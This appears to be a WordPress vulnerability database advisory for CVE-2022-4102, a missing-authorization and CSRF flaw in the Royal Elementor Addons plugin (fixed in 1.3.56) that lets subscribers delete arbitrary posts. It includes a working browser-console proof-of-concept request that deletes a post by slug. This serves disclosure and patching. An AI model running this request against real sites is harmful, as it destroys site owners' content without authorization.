Royal Elementor Addons < 1.3.56 – Subscriber+ Arbitrary Post Deletion | CVE 2022-4102 | Plugin Vulnerabilities

Description

The plugin does not have authorization and CSRF checks when deleting a template and does not ensure that the post to be deleted is a template. This could allow any authenticated users, such as subscribers, to delete arbitrary posts assuming they know the related slug.

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as a subscriber

fetch('/wp-admin/admin-ajax.php?action=wpr_delete_template', {
       method: 'POST',
       headers: {"Content-Type": "application/x-www-form-urlencoded"},
       body: 'template_slug=hello-world&template_library=post'
});

Affects Plugins

royal-elementor-addons

Fixed in 1.3.56

References

CVE

Classification

Type

NO AUTHORISATION

OWASP top 10

A5: Broken Access Control

CWE

CVSS

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website

https://kazet.cc/

Submitter twitter

https://twitter.com/kazet1234

Verified

Yes

WPVDB ID

c177f763-0bb5-4734-ba2e-7ba816578937

Timeline

Publicly Published

2022-12-15 (about 3 years ago)

Added

2022-12-14 (about 3 years ago)

Last Updated

2022-12-14 (about 3 years ago)

Other

Published

Title

Published

2021-07-20

Title

WP SEO TDK <= 2.1.2 - Unauthenticated Setting Update to Stored XSS

Published

2025-04-17

Title

Name Directory < 1.30.1 - Missing Authorization

Published

2024-08-07

Title

Easy Digital Downloads < 3.3.1 - Missing Authorization

Published

2025-04-15

Title

JetPopup < 2.0.12 - Missing Authorization

Published

2025-05-16

Title

Salon Booking Pro <= 10.10.2 - Missing Authorization